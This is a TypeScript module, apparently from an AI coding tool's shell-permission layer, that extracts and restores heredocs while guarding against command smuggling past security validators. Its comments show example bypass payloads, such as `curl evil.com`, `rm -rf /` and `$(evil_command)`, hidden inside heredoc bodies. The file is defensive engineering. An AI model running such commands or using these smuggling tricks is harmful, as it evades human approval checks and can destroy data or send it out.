734 lines
31 KiB
TypeScript
734 lines
31 KiB
TypeScript
/**
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* Heredoc extraction and restoration utilities.
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*
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* The shell-quote library parses `<<` as two separate `<` redirect operators,
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* which breaks command splitting for heredoc syntax. This module provides
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* utilities to extract heredocs before parsing and restore them after.
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*
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* Supported heredoc variations:
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* - <<WORD - basic heredoc
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* - <<'WORD' - single-quoted delimiter (no variable expansion in content)
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* - <<"WORD" - double-quoted delimiter (with variable expansion)
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* - <<-WORD - dash prefix (strips leading tabs from content)
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* - <<-'WORD' - combined dash and quoted delimiter
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*
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* Known limitations:
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* - Heredocs inside backtick command substitution may not be extracted
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* - Very complex multi-heredoc scenarios may not be extracted
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*
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* When extraction fails, the command passes through unchanged. This is safe
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* because the unextracted heredoc will either cause shell-quote parsing to fail
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* (falling back to treating the whole command as one unit) or require manual
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* approval for each apparent subcommand.
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*
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* @module
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*/
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import { randomBytes } from 'crypto'
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const HEREDOC_PLACEHOLDER_PREFIX = '__HEREDOC_'
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const HEREDOC_PLACEHOLDER_SUFFIX = '__'
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/**
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* Generates a random hex string for placeholder uniqueness.
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* This prevents collision when command text literally contains "__HEREDOC_N__".
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*/
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function generatePlaceholderSalt(): string {
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// Generate 8 random bytes as hex (16 characters)
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return randomBytes(8).toString('hex')
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}
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/**
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* Regex pattern for matching heredoc start syntax.
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*
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* Two alternatives handle quoted vs unquoted delimiters differently:
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*
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* Alternative 1 (quoted): (['"]) (\\?\w+) \2
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* Captures the opening quote, then the delimiter word (which MAY include a
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* leading backslash since it's literal inside quotes), then the closing quote.
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* In bash, single quotes make EVERYTHING literal including backslashes:
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* <<'\EOF' → delimiter is \EOF (with backslash)
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* <<'EOF' → delimiter is EOF
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* Double quotes also preserve backslashes before non-special chars:
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* <<"\EOF" → delimiter is \EOF
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*
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* Alternative 2 (unquoted): \\?(\w+)
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* Optionally consumes a leading backslash (escape), then captures the word.
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* In bash, an unquoted backslash escapes the next character:
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* <<\EOF → delimiter is EOF (backslash consumed as escape)
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* <<EOF → delimiter is EOF (plain)
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*
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* SECURITY: The backslash MUST be inside the capture group for quoted
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* delimiters but OUTSIDE for unquoted ones. The old regex had \\? outside
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* the capture group unconditionally, causing <<'\EOF' to extract delimiter
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* "EOF" while bash uses "\EOF", allowing command smuggling.
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*
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* Note: Uses [ \t]* (not \s*) to avoid matching across newlines, which would be
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* a security issue (could hide commands between << and the delimiter).
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*/
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const HEREDOC_START_PATTERN =
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// eslint-disable-next-line custom-rules/no-lookbehind-regex -- gated by command.includes('<<') at extractHeredocs() entry
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/(?<!<)<<(?!<)(-)?[ \t]*(?:(['"])(\\?\w+)\2|\\?(\w+))/
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export type HeredocInfo = {
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/** The full heredoc text including << operator, delimiter, content, and closing delimiter */
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fullText: string
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/** The delimiter word (without quotes) */
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delimiter: string
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/** Start position of the << operator in the original command */
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operatorStartIndex: number
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/** End position of the << operator (exclusive) - content on same line after this is preserved */
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operatorEndIndex: number
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/** Start position of heredoc content (the newline before content) */
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contentStartIndex: number
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/** End position of heredoc content including closing delimiter (exclusive) */
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contentEndIndex: number
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}
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export type HeredocExtractionResult = {
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/** The command with heredocs replaced by placeholders */
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processedCommand: string
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/** Map of placeholder string to original heredoc info */
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heredocs: Map<string, HeredocInfo>
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}
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/**
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* Extracts heredocs from a command string and replaces them with placeholders.
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*
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* This allows shell-quote to parse the command without mangling heredoc syntax.
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* After parsing, use `restoreHeredocs` to replace placeholders with original content.
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*
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* @param command - The shell command string potentially containing heredocs
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* @returns Object containing the processed command and a map of placeholders to heredoc info
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*
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* @example
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* ```ts
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* const result = extractHeredocs(`cat <<EOF
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* hello world
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* EOF`);
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* // result.processedCommand === "cat __HEREDOC_0_a1b2c3d4__" (salt varies)
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* // result.heredocs has the mapping to restore later
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* ```
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*/
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export function extractHeredocs(
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command: string,
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options?: { quotedOnly?: boolean },
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): HeredocExtractionResult {
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const heredocs = new Map<string, HeredocInfo>()
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// Quick check: if no << present, skip processing
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if (!command.includes('<<')) {
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return { processedCommand: command, heredocs }
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}
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// Security: Paranoid pre-validation. Our incremental quote/comment scanner
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// (see advanceScan below) does simplified parsing that cannot handle all
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// bash quoting constructs. If the command contains
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// constructs that could desync our quote tracking, bail out entirely
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// rather than risk extracting a heredoc with incorrect boundaries.
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// This is defense-in-depth: each construct below has caused or could
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// cause a security bypass if we attempt extraction.
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//
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// Specifically, we bail if the command contains:
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// 1. $'...' or $"..." (ANSI-C / locale quoting — our quote tracker
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// doesn't handle the $ prefix, would misparse the quotes)
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// 2. Backtick command substitution (backtick nesting has complex parsing
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// rules, and backtick acts as shell_eof_token for PST_EOFTOKEN in
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// make_cmd.c:606, enabling early heredoc closure that our parser
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// can't replicate)
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if (/\$['"]/.test(command)) {
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return { processedCommand: command, heredocs }
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}
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// Check for backticks in the command text before the first <<.
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// Backtick nesting has complex parsing rules, and backtick acts as
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// shell_eof_token for PST_EOFTOKEN (make_cmd.c:606), enabling early
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// heredoc closure that our parser can't replicate. We only check
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// before << because backticks in heredoc body content are harmless.
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const firstHeredocPos = command.indexOf('<<')
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if (firstHeredocPos > 0 && command.slice(0, firstHeredocPos).includes('`')) {
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return { processedCommand: command, heredocs }
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}
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// Security: Check for arithmetic evaluation context before the first `<<`.
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// In bash, `(( x = 1 << 2 ))` uses `<<` as a BIT-SHIFT operator, not a
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// heredoc. If we mis-extract it, subsequent lines become "heredoc content"
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// and are hidden from security validators, while bash executes them as
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// separate commands. We bail entirely if `((` appears before `<<` without
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// a matching `))` — we can't reliably distinguish arithmetic `<<` from
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// heredoc `<<` in that context. Note: $(( is already caught by
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// validateDangerousPatterns, but bare (( is not.
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if (firstHeredocPos > 0) {
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const beforeHeredoc = command.slice(0, firstHeredocPos)
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// Count (( and )) occurrences — if unbalanced, `<<` may be arithmetic
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const openArith = (beforeHeredoc.match(/\(\(/g) || []).length
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const closeArith = (beforeHeredoc.match(/\)\)/g) || []).length
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if (openArith > closeArith) {
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return { processedCommand: command, heredocs }
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}
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}
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// Create a global version of the pattern for iteration
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const heredocStartPattern = new RegExp(HEREDOC_START_PATTERN.source, 'g')
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const heredocMatches: HeredocInfo[] = []
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// Security: When quotedOnly skips an unquoted heredoc, we still need to
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// track its content range so the nesting filter can reject quoted heredocs
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// that appear INSIDE the skipped unquoted heredoc's body. Without this,
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// `cat <<EOF\n<<'SAFE'\n$(evil)\nSAFE\nEOF` would extract <<'SAFE' as a
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// top-level heredoc, hiding $(evil) from validators — even though in bash,
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// $(evil) IS executed (unquoted <<EOF expands its body).
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const skippedHeredocRanges: Array<{
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contentStartIndex: number
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contentEndIndex: number
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}> = []
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let match: RegExpExecArray | null
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// Incremental quote/comment scanner state.
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//
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// The regex walks forward through the command, and match.index is monotonically
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// increasing. Previously, isInsideQuotedString and isInsideComment each
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// re-scanned from position 0 on every match — O(n²) when the heredoc body
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// contains many `<<` (e.g. C++ with `std::cout << ...`). A 200-line C++
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// heredoc hit ~3.7ms per extractHeredocs call, and Bash security validation
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// calls extractHeredocs multiple times per command.
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//
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// Instead, track quote/comment/escape state incrementally and advance from
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// the last scanned position. This preserves the OLD helpers' exact semantics:
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//
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// Quote state (was isInsideQuotedString) is COMMENT-BLIND — it never sees
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// `#` and never skips characters for being "in a comment". Inside single
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// quotes, everything is literal. Inside double quotes, backslash escapes
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// the next char. An unquoted backslash run of odd length escapes the next
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// char.
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//
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// Comment state (was isInsideComment) observes quote state (# inside quotes
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// is not a comment) but NOT the reverse. The old helper used a per-call
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// `lineStart = lastIndexOf('\n', pos-1)+1` bound on which `#` to consider;
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// equivalently, any physical `\n` clears comment state — including `\n`
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// inside quotes (since lastIndexOf was quote-blind).
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//
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// SECURITY: Do NOT let comment mode suppress quote-state updates. If `#` put
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// the scanner in a mode that skipped quote chars, then `echo x#"\n<<...`
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// (where bash treats `#` as part of the word `x#`, NOT a comment) would
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// report the `<<` as unquoted and EXTRACT it — hiding content from security
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// validators. The old isInsideQuotedString was comment-blind; we preserve
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// that. Both old and new over-eagerly treat any unquoted `#` as a comment
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// (bash requires word-start), but since quote tracking is independent, the
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// over-eagerness only affects the comment check — causing SKIPS (safe
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// direction), never extra EXTRACTIONS.
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let scanPos = 0
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let scanInSingleQuote = false
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let scanInDoubleQuote = false
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let scanInComment = false
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// Inside "...": true if the previous char was a backslash (next char is escaped).
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// Carried across advanceScan calls so a `\` at scanPos-1 correctly escapes
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// the char at scanPos.
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let scanDqEscapeNext = false
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// Unquoted context: length of the consecutive backslash run ending at scanPos-1.
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// Used to determine if the char at scanPos is escaped (odd run = escaped).
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let scanPendingBackslashes = 0
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const advanceScan = (target: number): void => {
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for (let i = scanPos; i < target; i++) {
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const ch = command[i]!
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// Any physical newline clears comment state. The old isInsideComment
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// used `lineStart = lastIndexOf('\n', pos-1)+1` (quote-blind), so a
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// `\n` inside quotes still advanced lineStart. Match that here by
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// clearing BEFORE the quote branches.
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if (ch === '\n') scanInComment = false
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if (scanInSingleQuote) {
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if (ch === "'") scanInSingleQuote = false
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continue
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}
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if (scanInDoubleQuote) {
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if (scanDqEscapeNext) {
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scanDqEscapeNext = false
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continue
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}
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if (ch === '\\') {
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scanDqEscapeNext = true
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continue
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}
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if (ch === '"') scanInDoubleQuote = false
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continue
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}
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// Unquoted context. Quote tracking is COMMENT-BLIND (same as the old
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// isInsideQuotedString): we do NOT skip chars for being inside a
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// comment. Only the `#` detection itself is gated on not-in-comment.
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if (ch === '\\') {
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scanPendingBackslashes++
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continue
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}
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const escaped = scanPendingBackslashes % 2 === 1
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scanPendingBackslashes = 0
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if (escaped) continue
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if (ch === "'") scanInSingleQuote = true
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else if (ch === '"') scanInDoubleQuote = true
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else if (!scanInComment && ch === '#') scanInComment = true
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}
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scanPos = target
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}
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while ((match = heredocStartPattern.exec(command)) !== null) {
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const startIndex = match.index
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// Advance the incremental scanner to this match's position. After this,
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// scanInSingleQuote/scanInDoubleQuote/scanInComment reflect the parser
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// state immediately BEFORE startIndex, and scanPendingBackslashes is the
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// count of unquoted `\` immediately preceding startIndex.
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advanceScan(startIndex)
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// Skip if this << is inside a quoted string (not a real heredoc operator).
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if (scanInSingleQuote || scanInDoubleQuote) {
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continue
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}
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// Security: Skip if this << is inside a comment (after unquoted #).
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// In bash, `# <<EOF` is a comment — extracting it would hide commands on
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// subsequent lines as "heredoc content" while bash executes them.
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if (scanInComment) {
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continue
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}
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// Security: Skip if this << is preceded by an odd number of backslashes.
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// In bash, `\<<EOF` is NOT a heredoc — `\<` is a literal `<`, then `<EOF`
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// is input redirection. Extracting it would drop same-line commands from
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// security checks. The scanner tracks the unquoted backslash run ending
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// immediately before startIndex (scanPendingBackslashes).
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if (scanPendingBackslashes % 2 === 1) {
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continue
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}
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// Security: Bail if this `<<` falls inside the body of a previously
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// SKIPPED heredoc (unquoted heredoc in quotedOnly mode). In bash,
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// `<<` inside a heredoc body is just text — it's not a nested heredoc
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// operator. Extracting it would hide content that bash actually expands.
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let insideSkipped = false
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for (const skipped of skippedHeredocRanges) {
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if (
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startIndex > skipped.contentStartIndex &&
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startIndex < skipped.contentEndIndex
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) {
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insideSkipped = true
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break
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}
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}
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if (insideSkipped) {
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continue
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}
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const fullMatch = match[0]
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const isDash = match[1] === '-'
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// Group 3 = quoted delimiter (may include backslash), group 4 = unquoted
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const delimiter = (match[3] || match[4])!
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const operatorEndIndex = startIndex + fullMatch.length
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// Security: Two checks to verify our regex captured the full delimiter word.
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// Any mismatch between our parsed delimiter and bash's actual delimiter
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// could allow command smuggling past permission checks.
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// Check 1: If a quote was captured (group 2), verify the closing quote
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// was actually matched by \2 in the regex (the quoted alternative requires
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// the closing quote). The regex's \w+ only matches [a-zA-Z0-9_], so
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// non-word chars inside quotes (spaces, hyphens, dots) cause \w+ to stop
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// early, leaving the closing quote unmatched.
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// Example: <<"EO F" — regex captures "EO", misses closing ", delimiter
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// should be "EO F" but we'd use "EO". Skip to prevent mismatch.
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const quoteChar = match[2]
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if (quoteChar && command[operatorEndIndex - 1] !== quoteChar) {
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continue
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}
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// Security: Determine if the delimiter is quoted ('EOF', "EOF") or
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// escaped (\EOF). In bash, quoted/escaped delimiters suppress all
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// expansion in the heredoc body — content is literal text. Unquoted
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// delimiters (<<EOF) perform full shell expansion: $(), backticks,
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// and ${} in the body ARE executed. When quotedOnly is set, skip
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// unquoted heredocs so their bodies remain visible to security
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// validators (they may contain executable command substitutions).
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const isEscapedDelimiter = fullMatch.includes('\\')
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const isQuotedOrEscaped = !!quoteChar || isEscapedDelimiter
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// Note: We do NOT skip unquoted heredocs here anymore when quotedOnly is
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// set. Instead, we compute their content range and add them to
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// skippedHeredocRanges, then skip them AFTER finding the closing
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// delimiter. This lets the nesting filter correctly reject quoted
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// "heredocs" that appear inside unquoted heredoc bodies.
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// Check 2: Verify the next character after our match is a bash word
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// terminator (metacharacter or end of string). Characters like word chars,
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// quotes, $, \ mean the bash word extends beyond our match
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// (e.g., <<'EOF'a where bash uses "EOFa" but we captured "EOF").
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// IMPORTANT: Only match bash's actual metacharacters — space (0x20),
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// tab (0x09), newline (0x0A), |, &, ;, (, ), <, >. Do NOT use \s which
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// also matches \r, \f, \v, and Unicode whitespace that bash treats as
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// regular word characters, not terminators.
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if (operatorEndIndex < command.length) {
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const nextChar = command[operatorEndIndex]!
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if (!/^[ \t\n|&;()<>]$/.test(nextChar)) {
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continue
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}
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}
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// In bash, heredoc content starts on the NEXT LINE after the operator.
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// Any content on the same line after <<EOF (like " && echo done") is part
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// of the command, not the heredoc content.
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//
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// SECURITY: The "same line" must be the LOGICAL command line, not the
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// first physical newline. Multi-line quoted strings extend the logical
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// line — bash waits for the quote to close before starting to read the
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// heredoc body. A quote-blind `indexOf('\n')` finds newlines INSIDE
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// quoted strings, causing the body to start too early.
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//
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// Exploit: `echo <<'EOF' '${}\n' ; curl evil.com\nEOF`
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// - The `\n` inside `'${}\n'` is quoted (literal newline in a string arg)
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// - Bash: waits for `'` to close → logical line is
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// `echo <<'EOF' '${}\n' ; curl evil.com` → heredoc body = `EOF`
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// - Our old code: indexOf('\n') finds the quoted newline → body starts
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// at `' ; curl evil.com\nEOF` → curl swallowed into placeholder →
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// NEVER reaches permission checks.
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//
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// Fix: scan forward from operatorEndIndex using quote-state tracking,
|
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// finding the first newline that's NOT inside a quoted string. Same
|
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// quote-tracking semantics as advanceScan (already used to validate
|
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// the `<<` operator position above).
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let firstNewlineOffset = -1
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{
|
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let inSingleQuote = false
|
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let inDoubleQuote = false
|
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// We start with clean quote state — advanceScan already rejected the
|
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// case where the `<<` operator itself is inside a quote.
|
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for (let k = operatorEndIndex; k < command.length; k++) {
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const ch = command[k]
|
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if (inSingleQuote) {
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if (ch === "'") inSingleQuote = false
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continue
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}
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if (inDoubleQuote) {
|
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if (ch === '\\') {
|
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k++ // skip escaped char inside double quotes
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continue
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}
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if (ch === '"') inDoubleQuote = false
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continue
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}
|
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// Unquoted context
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if (ch === '\n') {
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firstNewlineOffset = k - operatorEndIndex
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break
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}
|
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// Count backslashes for escape detection in unquoted context
|
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let backslashCount = 0
|
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for (let j = k - 1; j >= operatorEndIndex && command[j] === '\\'; j--) {
|
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backslashCount++
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}
|
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if (backslashCount % 2 === 1) continue // escaped char
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if (ch === "'") inSingleQuote = true
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else if (ch === '"') inDoubleQuote = true
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}
|
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// If we ended while still inside a quote, the logical line never ends —
|
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// there is no heredoc body. Leave firstNewlineOffset as -1 (handled below).
|
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}
|
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// If no unquoted newline found, this heredoc has no content - skip it
|
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if (firstNewlineOffset === -1) {
|
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continue
|
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}
|
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// Security: Check for backslash-newline continuation at the end of the
|
|
// same-line content (text between the operator and the newline). In bash,
|
|
// `\<newline>` joins lines BEFORE heredoc parsing — so:
|
|
// cat <<'EOF' && \
|
|
// rm -rf /
|
|
// content
|
|
// EOF
|
|
// bash joins to `cat <<'EOF' && rm -rf /` (rm is part of the command line),
|
|
// then heredoc body = `content`. Our extractor runs BEFORE continuation
|
|
// joining (commands.ts:82), so it would put `rm -rf /` in the heredoc body,
|
|
// hiding it from all validators. Bail if same-line content ends with an
|
|
// odd number of backslashes.
|
|
const sameLineContent = command.slice(
|
|
operatorEndIndex,
|
|
operatorEndIndex + firstNewlineOffset,
|
|
)
|
|
let trailingBackslashes = 0
|
|
for (let j = sameLineContent.length - 1; j >= 0; j--) {
|
|
if (sameLineContent[j] === '\\') {
|
|
trailingBackslashes++
|
|
} else {
|
|
break
|
|
}
|
|
}
|
|
if (trailingBackslashes % 2 === 1) {
|
|
// Odd number of trailing backslashes → last one escapes the newline
|
|
// → this is a line continuation. Our heredoc-before-continuation order
|
|
// would misparse this. Bail out.
|
|
continue
|
|
}
|
|
|
|
const contentStartIndex = operatorEndIndex + firstNewlineOffset
|
|
const afterNewline = command.slice(contentStartIndex + 1) // +1 to skip the newline itself
|
|
const contentLines = afterNewline.split('\n')
|
|
|
|
// Find the closing delimiter - must be on its own line
|
|
// Security: Must match bash's exact behavior to prevent parsing discrepancies
|
|
// that could allow command smuggling past permission checks.
|
|
let closingLineIndex = -1
|
|
for (let i = 0; i < contentLines.length; i++) {
|
|
const line = contentLines[i]!
|
|
|
|
if (isDash) {
|
|
// <<- strips leading TABS only (not spaces), per POSIX/bash spec.
|
|
// The line after stripping leading tabs must be exactly the delimiter.
|
|
const stripped = line.replace(/^\t*/, '')
|
|
if (stripped === delimiter) {
|
|
closingLineIndex = i
|
|
break
|
|
}
|
|
} else {
|
|
// << requires the closing delimiter to be exactly alone on the line
|
|
// with NO leading or trailing whitespace. This matches bash behavior.
|
|
if (line === delimiter) {
|
|
closingLineIndex = i
|
|
break
|
|
}
|
|
}
|
|
|
|
// Security: Check for PST_EOFTOKEN-like early closure (make_cmd.c:606).
|
|
// Inside $(), ${}, or backtick substitution, bash closes a heredoc when
|
|
// a line STARTS with the delimiter and contains the shell_eof_token
|
|
// (`)`, `}`, or backtick) anywhere after it. Our parser only does exact
|
|
// line matching, so this discrepancy could hide smuggled commands.
|
|
//
|
|
// Paranoid extension: also bail on bash metacharacters (|, &, ;, (, <,
|
|
// >) after the delimiter, which could indicate command syntax from a
|
|
// parsing discrepancy we haven't identified.
|
|
//
|
|
// For <<- heredocs, bash strips leading tabs before this check.
|
|
const eofCheckLine = isDash ? line.replace(/^\t*/, '') : line
|
|
if (
|
|
eofCheckLine.length > delimiter.length &&
|
|
eofCheckLine.startsWith(delimiter)
|
|
) {
|
|
const charAfterDelimiter = eofCheckLine[delimiter.length]!
|
|
if (/^[)}`|&;(<>]$/.test(charAfterDelimiter)) {
|
|
// Shell metacharacter or substitution closer after delimiter —
|
|
// bash may close the heredoc early here. Bail out.
|
|
closingLineIndex = -1
|
|
break
|
|
}
|
|
}
|
|
}
|
|
|
|
// Security: If quotedOnly mode is set and this is an unquoted heredoc,
|
|
// record its content range for nesting checks but do NOT add it to
|
|
// heredocMatches. This ensures quoted "heredocs" inside its body are
|
|
// correctly rejected by the insideSkipped check on subsequent iterations.
|
|
//
|
|
// CRITICAL: We do this BEFORE the closingLineIndex === -1 check. If the
|
|
// unquoted heredoc has no closing delimiter, bash still treats everything
|
|
// to end-of-input as the heredoc body (and expands $() within it). We
|
|
// must block extraction of any subsequent quoted "heredoc" that falls
|
|
// inside that unbounded body.
|
|
if (options?.quotedOnly && !isQuotedOrEscaped) {
|
|
let skipContentEndIndex: number
|
|
if (closingLineIndex === -1) {
|
|
// No closing delimiter — in bash, heredoc body extends to end of
|
|
// input. Track the entire remaining range as "skipped body".
|
|
skipContentEndIndex = command.length
|
|
} else {
|
|
const skipLinesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
|
|
const skipContentLength = skipLinesUpToClosing.join('\n').length
|
|
skipContentEndIndex = contentStartIndex + 1 + skipContentLength
|
|
}
|
|
skippedHeredocRanges.push({
|
|
contentStartIndex,
|
|
contentEndIndex: skipContentEndIndex,
|
|
})
|
|
continue
|
|
}
|
|
|
|
// If no closing delimiter found, this is malformed - skip it
|
|
if (closingLineIndex === -1) {
|
|
continue
|
|
}
|
|
|
|
// Calculate end position: contentStartIndex + 1 (newline) + length of lines up to and including closing delimiter
|
|
const linesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
|
|
const contentLength = linesUpToClosing.join('\n').length
|
|
const contentEndIndex = contentStartIndex + 1 + contentLength
|
|
|
|
// Security: Bail if this heredoc's content range OVERLAPS with any
|
|
// previously-skipped heredoc's content range. This catches the case where
|
|
// two heredocs share a command line (`cat <<EOF <<'SAFE'`) and the first
|
|
// is unquoted (skipped in quotedOnly mode). In bash, when multiple heredocs
|
|
// share a line, their bodies appear SEQUENTIALLY (first's body, then
|
|
// second's). Both compute contentStartIndex from the SAME newline, so the
|
|
// second's body search walks through the first's body. For:
|
|
// cat <<EOF <<'SAFE'
|
|
// $(evil_command)
|
|
// EOF
|
|
// safe body
|
|
// SAFE
|
|
// ...the quoted <<'SAFE' would incorrectly extract lines 2-4 as its body,
|
|
// swallowing `$(evil_command)` (which bash EXECUTES via the unquoted
|
|
// <<EOF's expansion) into the placeholder, hiding it from validators.
|
|
//
|
|
// The insideSkipped check above doesn't catch this because the quoted
|
|
// operator's startIndex is on the command line BEFORE contentStart.
|
|
// The contentStartPositions dedup check below doesn't catch it because the
|
|
// skipped heredoc is in skippedHeredocRanges, not topLevelHeredocs.
|
|
let overlapsSkipped = false
|
|
for (const skipped of skippedHeredocRanges) {
|
|
// Ranges [a,b) and [c,d) overlap iff a < d && c < b
|
|
if (
|
|
contentStartIndex < skipped.contentEndIndex &&
|
|
skipped.contentStartIndex < contentEndIndex
|
|
) {
|
|
overlapsSkipped = true
|
|
break
|
|
}
|
|
}
|
|
if (overlapsSkipped) {
|
|
continue
|
|
}
|
|
|
|
// Build fullText: operator + newline + content (normalized form for restoration)
|
|
// This creates a clean heredoc that can be restored correctly
|
|
const operatorText = command.slice(startIndex, operatorEndIndex)
|
|
const contentText = command.slice(contentStartIndex, contentEndIndex)
|
|
const fullText = operatorText + contentText
|
|
|
|
heredocMatches.push({
|
|
fullText,
|
|
delimiter,
|
|
operatorStartIndex: startIndex,
|
|
operatorEndIndex,
|
|
contentStartIndex,
|
|
contentEndIndex,
|
|
})
|
|
}
|
|
|
|
// If no valid heredocs found, return original
|
|
if (heredocMatches.length === 0) {
|
|
return { processedCommand: command, heredocs }
|
|
}
|
|
|
|
// Filter out nested heredocs - any heredoc whose operator starts inside
|
|
// another heredoc's content range should be excluded.
|
|
// This prevents corruption when heredoc content contains << patterns.
|
|
const topLevelHeredocs = heredocMatches.filter((candidate, _i, all) => {
|
|
// Check if this candidate's operator is inside any other heredoc's content
|
|
for (const other of all) {
|
|
if (candidate === other) continue
|
|
// Check if candidate's operator starts within other's content range
|
|
if (
|
|
candidate.operatorStartIndex > other.contentStartIndex &&
|
|
candidate.operatorStartIndex < other.contentEndIndex
|
|
) {
|
|
// This heredoc is nested inside another - filter it out
|
|
return false
|
|
}
|
|
}
|
|
return true
|
|
})
|
|
|
|
// If filtering removed all heredocs, return original
|
|
if (topLevelHeredocs.length === 0) {
|
|
return { processedCommand: command, heredocs }
|
|
}
|
|
|
|
// Check for multiple heredocs sharing the same content start position
|
|
// (i.e., on the same line). This causes index corruption during replacement
|
|
// because indices are calculated on the original string but applied to
|
|
// a progressively modified string. Return without extraction - the fallback
|
|
// is safe (requires manual approval or fails parsing).
|
|
const contentStartPositions = new Set(
|
|
topLevelHeredocs.map(h => h.contentStartIndex),
|
|
)
|
|
if (contentStartPositions.size < topLevelHeredocs.length) {
|
|
return { processedCommand: command, heredocs }
|
|
}
|
|
|
|
// Sort by content end position descending so we can replace from end to start
|
|
// (this preserves indices for earlier replacements)
|
|
topLevelHeredocs.sort((a, b) => b.contentEndIndex - a.contentEndIndex)
|
|
|
|
// Generate a unique salt for this extraction to prevent placeholder collisions
|
|
// with literal "__HEREDOC_N__" text in commands
|
|
const salt = generatePlaceholderSalt()
|
|
|
|
let processedCommand = command
|
|
topLevelHeredocs.forEach((info, index) => {
|
|
// Use reverse index since we sorted descending
|
|
const placeholderIndex = topLevelHeredocs.length - 1 - index
|
|
const placeholder = `${HEREDOC_PLACEHOLDER_PREFIX}${placeholderIndex}_${salt}${HEREDOC_PLACEHOLDER_SUFFIX}`
|
|
|
|
heredocs.set(placeholder, info)
|
|
|
|
// Replace heredoc with placeholder while preserving same-line content:
|
|
// - Keep everything before the operator
|
|
// - Replace operator with placeholder
|
|
// - Keep content between operator and heredoc content (e.g., " && echo done")
|
|
// - Remove the heredoc content (from newline through closing delimiter)
|
|
// - Keep everything after the closing delimiter
|
|
processedCommand =
|
|
processedCommand.slice(0, info.operatorStartIndex) +
|
|
placeholder +
|
|
processedCommand.slice(info.operatorEndIndex, info.contentStartIndex) +
|
|
processedCommand.slice(info.contentEndIndex)
|
|
})
|
|
|
|
return { processedCommand, heredocs }
|
|
}
|
|
|
|
/**
|
|
* Restores heredoc placeholders back to their original content in a single string.
|
|
* Internal helper used by restoreHeredocs.
|
|
*/
|
|
function restoreHeredocsInString(
|
|
text: string,
|
|
heredocs: Map<string, HeredocInfo>,
|
|
): string {
|
|
let result = text
|
|
for (const [placeholder, info] of heredocs) {
|
|
result = result.replaceAll(placeholder, info.fullText)
|
|
}
|
|
return result
|
|
}
|
|
|
|
/**
|
|
* Restores heredoc placeholders in an array of strings.
|
|
*
|
|
* @param parts - Array of strings that may contain heredoc placeholders
|
|
* @param heredocs - The map of placeholders from `extractHeredocs`
|
|
* @returns New array with placeholders replaced by original heredoc content
|
|
*/
|
|
export function restoreHeredocs(
|
|
parts: string[],
|
|
heredocs: Map<string, HeredocInfo>,
|
|
): string[] {
|
|
if (heredocs.size === 0) {
|
|
return parts
|
|
}
|
|
|
|
return parts.map(part => restoreHeredocsInString(part, heredocs))
|
|
}
|
|
|
|
/**
|
|
* Checks if a command contains heredoc syntax.
|
|
*
|
|
* This is a quick check that doesn't validate the heredoc is well-formed,
|
|
* just that the pattern exists.
|
|
*
|
|
* @param command - The shell command string
|
|
* @returns true if the command appears to contain heredoc syntax
|
|
*/
|
|
export function containsHeredoc(command: string): boolean {
|
|
return HEREDOC_START_PATTERN.test(command)
|
|
}
|